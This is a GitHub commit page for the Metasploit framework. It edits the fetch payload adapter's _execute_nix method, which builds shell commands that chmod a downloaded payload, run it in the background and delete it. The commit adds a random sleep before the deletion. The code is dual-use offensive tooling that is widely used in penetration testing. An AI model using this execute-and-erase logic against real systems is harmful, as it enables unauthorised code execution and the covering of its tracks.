Skip to content

Commit 594946d

Browse files
committed
Add sleep to prevent race condition, remove unneeded spaces
1 parent 2faa33e commit 594946d

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -202,12 +202,14 @@ def _execute_win
202202
end
203203

204204
def _execute_nix
205-
cmds = "; chmod +x #{_remote_destination_nix}"
205+
cmds = ";chmod +x #{_remote_destination_nix}"
206206
if datastore['FETCH_DELETE']
207-
cmds << "; (#{_remote_destination_nix} &)"
208-
cmds << ";rm -rf #{_remote_destination_nix}"
207+
# sometimes the delete can happen before the process is created
208+
sleep_delete = rand(2..7)
209+
cmds << ";(#{_remote_destination_nix} &)"
210+
cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
209211
else
210-
cmds << "; #{_remote_destination_nix} &"
212+
cmds << ";#{_remote_destination_nix} &"
211213
end
212214
cmds
213215
end

0 commit comments

Comments
 (0)